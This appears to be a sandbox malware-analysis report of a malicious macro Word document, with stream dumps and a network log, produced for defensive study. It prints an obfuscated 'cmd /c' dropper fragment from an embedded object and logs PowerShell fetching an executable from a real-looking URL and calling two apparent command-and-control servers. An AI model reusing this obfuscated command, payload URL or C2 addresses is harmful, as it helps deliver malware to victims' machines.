Data Raw:	72 55 80 00 00 00 00 00 00 00 80 00 00 00 80 00 00 00 00 00 00 00 1e 00 00 00 09 00 00 00 00 00 00 00 09 00 00 00 00 00 03 00 30 00 00 00 00 00 00 00 01 00 01 00 00 00 00 00 01 00 01 00 00 00 02 00 31 08 00 00 00 00 00 00 59 08 00 00 00 00 00 00 81 08 00 00 00 00 00 00 09 00 00 00 01 00 02 00 09 08 00 00 00 00 00 00 08 00 0d 00 34 00 00 00 a9 08 00 00 00 00 00 00 61 00 00 00 00 00

Stream Path: Macros/VBA/__SRP_3, File Type: data, Stream Size: 142

General
Stream Path:	Macros/VBA/__SRP_3
File Type:	data
Stream Size:	142
Entropy:	2.34053414588
Base64 Encoded:	False
Data ASCII:	r U . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . H . . . . . $ . . . . . . . . . . . . ` . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . @ . . . . . . . . . . . . . 8 . . . . . . . n . . . . . . .
Data Raw:	72 55 80 00 00 00 00 00 00 00 80 00 00 00 80 00 00 00 00 00 00 00 10 00 00 00 09 00 00 00 00 00 02 00 ff ff ff ff ff ff ff ff 00 00 00 00 48 00 00 00 04 00 24 00 b9 01 00 00 00 00 02 00 00 00 04 60 00 00 0d 07 ff ff ff ff ff ff ff ff ff ff 00 00 00 00 00 00 00 00 1e 01 00 20 00 a1 00 00 00 00 00 01 00 ff ff ff ff 00 00 00 00 00 00 04 40 02 00 00 07 1d c1 00 00 00 00 00 01 00 38 00

Stream Path: Macros/VBA/dir, File Type: data, Stream Size: 1067

General
Stream Path:	Macros/VBA/dir
File Type:	data
Stream Size:	1067
Entropy:	6.69078856558
Base64 Encoded:	True
Data ASCII:	. ' . . . . . . . . . . 0 * . . . . . p . . H . . . . . d . . . . . . . . P r o j e c t . Q . ( . . @ . . . . . = . . . . . l . . . . . . . . . . G . ^ . . . . J . < . . . . . r s t d . o l e > . . s . t . . d . o . l . e P . . . h . % ^ . . * . \\ G { 0 0 0 2 0 . 4 3 0 - . . . . C . . . . . . . 0 0 4 6 } # . 2 . 0 # 0 # C : . \\ W i n d o w s . \\ s y s t e m 3 . 2 \\ . e 2 . t l b . # O L E A u t . o m a t i o n . ` . . . . E N o r m a l . . E N . C r . m . a Q . F . . . . . . . * , \\ C . . . . . . m . .
Data Raw:	01 27 b4 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 07 00 1c 00 50 72 6f 6a 65 63 74 05 51 00 28 00 00 40 02 14 06 02 14 3d ad 02 0a 07 02 6c 01 14 08 06 12 09 02 12 80 ae 47 1b 5e 1e 00 0c 02 4a 12 3c 02 0a 16 00 01 72 73 74 64 10 6f 6c 65 3e 02 19 73 00 74 00 00 64 00 6f 00 6c 00 65 50 00 0d 00 68 00 25 5e 00 03 2a 00 5c 47 7b 30 30

Stream Path: ObjectPool/_1608988081/\x1CompObj, File Type: data, Stream Size: 116

General
Stream Path:	ObjectPool/_1608988081/\x1CompObj
File Type:	data
Stream Size:	116
Entropy:	4.74681963886
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . B . . . . . . . . ` . . . . . . M i c r o s o f t F o r m s 2 . 0 T e x t B o x . . . . . E m b e d d e d O b j e c t . . . . . F o r m s . T e x t B o x . 1 . . 9 . q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 10 1d d2 8b 42 ec ce 11 9e 0d 00 aa 00 60 02 f3 1c 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 54 65 78 74 42 6f 78 00 10 00 00 00 45 6d 62 65 64 64 65 64 20 4f 62 6a 65 63 74 00 10 00 00 00 46 6f 72 6d 73 2e 54 65 78 74 42 6f 78 2e 31 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: ObjectPool/_1608988081/\x3OCXNAME, File Type: data, Stream Size: 20

General
Stream Path:	ObjectPool/_1608988081/\x3OCXNAME
File Type:	data
Stream Size:	20
Entropy:	2.07095059445
Base64 Encoded:	False
Data ASCII:	T . e . x . t . B . o . x . 1 . . . . .
Data Raw:	54 00 65 00 78 00 74 00 42 00 6f 00 78 00 31 00 00 00 00 00

Stream Path: ObjectPool/_1608988081/\x3ObjInfo, File Type: data, Stream Size: 6

General
Stream Path:	ObjectPool/_1608988081/\x3ObjInfo
File Type:	data
Stream Size:	6
Entropy:	1.79248125036
Base64 Encoded:	False
Data ASCII:	. . . . . .
Data Raw:	00 12 03 00 04 00

Stream Path: ObjectPool/_1608988081/\x3PRINT, File Type: data, Stream Size: 510

General
Stream Path:	ObjectPool/_1608988081/\x3PRINT
File Type:	data
Stream Size:	510
Entropy:	3.56831674998
Base64 Encoded:	False
Data ASCII:	. . . . { . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ` . . . . . . . . . . . . . . . . . . . . . . . . . - . . . . . . . . . ! . . . . . . . . . _ . . . . . . . ! . . . . . _ . . . . . . . . . . . . . . . . . . . . . . . - . . . . . . . . . ! . . . . . . . . . . . . . . . . . ! . . . . . ^ . . . . . . . . . . . . . . . . . . . . . . . - . . . . . . . . . ! . . . . . . . . . ^ . . . . . . . ! . . . . . ] . . . . . . . . . . . . . i i i . . . . . . . - . . .
Data Raw:	08 00 ec 09 7b 02 00 00 01 00 09 00 00 03 fb 00 00 00 05 00 1d 00 00 00 00 00 04 00 00 00 03 01 08 00 05 00 00 00 0b 02 00 00 00 00 05 00 00 00 0c 02 18 00 60 00 03 00 00 00 1e 00 07 00 00 00 fc 02 00 00 ff ff ff 00 00 00 04 00 00 00 2d 01 00 00 09 00 00 00 1d 06 21 00 f0 00 18 00 01 00 00 00 5f 00 09 00 00 00 1d 06 21 00 f0 00 01 00 5f 00 17 00 00 00 07 00 00 00 fc 02 00 00 a0 a0

Stream Path: ObjectPool/_1608988081/contents, File Type: data, Stream Size: 4180

General
Stream Path:	ObjectPool/_1608988081/contents
File Type:	data
Stream Size:	4180
Entropy:	2.75721460131
Base64 Encoded:	False
Data ASCII:	. . 4 . . . @ . . . . . . H . , . . . . . . . . { . . . c m d / c % p R O g r A M D A t A : ~ 0 , 1 % % P R o g r a M d A T a : ~ 9 , 2 % / V : / r " S E t 0 D j H = m u \\ Y b e S c { q X r A R z t 1 + = G v l C 6 J , h ) 8 B ; a O V } Q . 2 7 0 3 o U L 5 / 4 9 ' % ( d K i ~ f x : p j E T $ H _ D y @ w - I s N F W n g P k M & f O r % J I n ( 5 8 , 4 1 , 6 8 , 4 9 , 7 8 , 4 2 , 2 9 , 4 3 , 7 0 , 2 2 ,
Data Raw:	00 02 34 10 01 01 40 80 00 00 00 00 1b 48 80 2c 19 10 00 80 ec 09 00 00 7b 02 00 00 63 6d 64 20 2f 63 20 25 70 52 4f 67 72 41 4d 44 41 74 41 3a 7e 30 2c 31 25 25 50 52 6f 67 72 61 4d 64 41 54 61 3a 7e 39 2c 32 25 20 2f 56 3a 2f 72 20 20 22 20 53 45 74 20 20 30 44 6a 48 3d 6d 75 5c 59 62 65 53 63 7b 71 58 72 41 52 7a 74 31 2b 3d 47 76 6c 43 36 4a 2c 68 29 38 42 3b 61 4f 56 7d 51 2e

Stream Path: WordDocument, File Type: data, Stream Size: 4096

General
Stream Path:	WordDocument
File Type:	data
Stream Size:	4096
Entropy:	2.41862719273
Base64 Encoded:	False
Data ASCII:	. . . . _ . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . b j b j . e . e . . . . . . . . . . . . . . . . . . . . . . . . . . . . . f . . . f . . . . . . . . . . . . . . . . . . . . . . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + . . . . . . . + . . . . . . . { . . . . . . . { . . . . . . . { . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	ec a5 c1 00 5f 00 09 04 00 00 f8 12 bf 00 00 00 00 00 00 10 00 00 00 00 00 08 00 00 28 08 00 00 0e 00 62 6a 62 6a 88 65 88 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 04 16 00 8c 0f 00 00 ea 0f 00 66 ea 0f 00 66 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 23 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2019 15:04:56.662399054 CET	65037	53	192.168.1.81	8.8.8.8
Jan 14, 2019 15:04:56.689167023 CET	53	65037	8.8.8.8	192.168.1.81
Jan 14, 2019 15:04:56.717931032 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:56.856756926 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:56.856828928 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:56.857954979 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:56.997226954 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:56.999317884 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.001265049 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.177308083 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.268712044 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.268740892 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.268763065 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.268785000 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.268824100 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.268831015 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.268865108 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.268918037 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.268959999 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.269025087 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.269042015 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.269064903 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.269090891 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.407623053 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.407694101 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.407715082 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.407774925 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.407850981 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.407852888 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.407932997 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.408000946 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.408025026 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.408071041 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.408124924 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.408154011 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.408227921 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.408271074 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.408277035 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.408313990 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.408356905 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.408375025 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.408397913 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.408441067 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.408461094 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.408482075 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.408524036 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.408540964 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.408565044 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.408607006 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.408624887 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.547425985 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.547482014 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.547518015 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.547547102 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.547548056 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.547576904 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.547605991 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.547633886 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.547637939 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.547689915 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.547743082 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.547759056 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.547811031 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.547840118 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.547869921 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.547878027 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.547899008 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.547956944 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.547972918 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.548021078 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.548049927 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.548063993 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.548099041 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.548182011 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.548187017 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.548230886 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.548260927 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.548269987 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.548293114 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.548321962 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.548351049 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.548379898 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.548408985 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.548439980 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.548469067 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.548495054 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.548496962 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.548526049 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.548553944 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.548579931 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.548582077 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.548610926 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.548639059 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.548664093 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.548666954 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.548696041 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.548733950 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.548749924 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.559926033 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.687510014 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.687532902 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.687598944 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.687608004 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.687634945 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.687664032 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.687711000 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.687715054 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.687733889 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.687778950 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.687813044 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.687835932 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.687865019 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.687891006 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.687897921 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.687928915 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.687949896 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.687993050 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.688003063 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.688023090 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.688056946 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.688079119 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.688092947 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.688127041 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.688155890 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.688177109 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.688198090 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.688218117 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.688235998 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.688312054 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.688335896 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.688374996 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.688405991 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.688410997 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.688441992 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.688481092 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.688504934 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.688515902 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.688536882 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.688558102 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.688579082 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.688585043 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.688601971 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.689667940 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.709512949 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.709583044 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.709630966 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.709673882 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.709702015 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.709705114 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.709731102 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.709770918 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.709851980 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.709857941 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.709916115 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.709990978 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.710027933 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.710063934 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.710104942 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.710160971 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.710202932 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.710222006 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.710278988 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.710330009 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.710391045 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.710458040 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.710498095 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.710505962 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:57.710534096 CET	80	49215	108.167.182.150	192.168.1.81
Jan 14, 2019 15:04:57.710665941 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:04:59.693069935 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:05:00.718188047 CET	49215	80	192.168.1.81	108.167.182.150
Jan 14, 2019 15:05:32.717736006 CET	49216	7080	192.168.1.81	70.55.70.147
Jan 14, 2019 15:05:32.871228933 CET	7080	49216	70.55.70.147	192.168.1.81
Jan 14, 2019 15:05:32.871289015 CET	49216	7080	192.168.1.81	70.55.70.147
Jan 14, 2019 15:05:32.883287907 CET	49216	7080	192.168.1.81	70.55.70.147
Jan 14, 2019 15:05:33.242496967 CET	7080	49216	70.55.70.147	192.168.1.81
Jan 14, 2019 15:05:57.471410036 CET	7080	49216	70.55.70.147	192.168.1.81
Jan 14, 2019 15:05:57.471630096 CET	49216	7080	192.168.1.81	70.55.70.147
Jan 14, 2019 15:05:57.476994038 CET	49216	7080	192.168.1.81	70.55.70.147
Jan 14, 2019 15:05:57.582576036 CET	49217	50000	192.168.1.81	201.130.151.95
Jan 14, 2019 15:05:57.636130095 CET	7080	49216	70.55.70.147	192.168.1.81
Jan 14, 2019 15:06:00.595304966 CET	49217	50000	192.168.1.81	201.130.151.95

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2019 15:04:56.662399054 CET	65037	53	192.168.1.81	8.8.8.8
Jan 14, 2019 15:04:56.689167023 CET	53	65037	8.8.8.8	192.168.1.81

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 14, 2019 15:04:56.662399054 CET	192.168.1.81	8.8.8.8	0x79dd	Standard query (0)	beitshalomcare.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 14, 2019 15:04:56.689167023 CET	8.8.8.8	192.168.1.81	0x79dd	No error (0)	beitshalomcare.com		108.167.182.150	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

beitshalomcare.com

70.55.70.147:7080

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.1.81	49215	108.167.182.150	80	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2019 15:04:56.857954979 CET	0	OUT	GET /UCXoKly_3UeiaQjy_Ik HTTP/1.1 Host: beitshalomcare.com Connection: Keep-Alive
Jan 14, 2019 15:04:56.999317884 CET	1	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.14.1 Date: Mon, 14 Jan 2019 14:04:56 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 322 Connection: keep-alive Location: http://beitshalomcare.com/UCXoKly_3UeiaQjy_Ik/ Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 65 69 74 73 68 61 6c 6f 6d 63 61 72 65 2e 63 6f 6d 2f 55 43 58 6f 4b 6c 79 5f 33 55 65 69 61 51 6a 79 5f 49 6b 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 62 65 69 74 73 68 61 6c 6f 6d 63 61 72 65 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://beitshalomcare.com/UCXoKly_3UeiaQjy_Ik/">here</a>.</p><hr><address>Apache Server at beitshalomcare.com Port 80</address></body></html>
Jan 14, 2019 15:04:57.001265049 CET	1	OUT	GET /UCXoKly_3UeiaQjy_Ik/ HTTP/1.1 Host: beitshalomcare.com
Jan 14, 2019 15:04:57.268712044 CET	2	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Mon, 14 Jan 2019 14:04:57 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Expires: Tue, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, max-age=0, post-check=0, pre-check=0 Pragma: no-cache Content-Disposition: attachment; filename="6_SIhen_r6EZd0h7m.exe" Content-Transfer-Encoding: binary Last-Modified: Mon, 14 Jan 2019 14:04:57 GMT Data Raw: 61 39 34 35 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 df 87 3c 5c 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0c 01 00 40 00 00 00 e0 01 00 00 00 00 00 80 3f 00 00 00 10 00 00 00 50 00 00 00 00 40 00 00 10 00 00 00 10 00 00 06 00 00 00 00 00 00 00 06 00 01 00 00 00 00 00 00 30 02 00 00 10 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 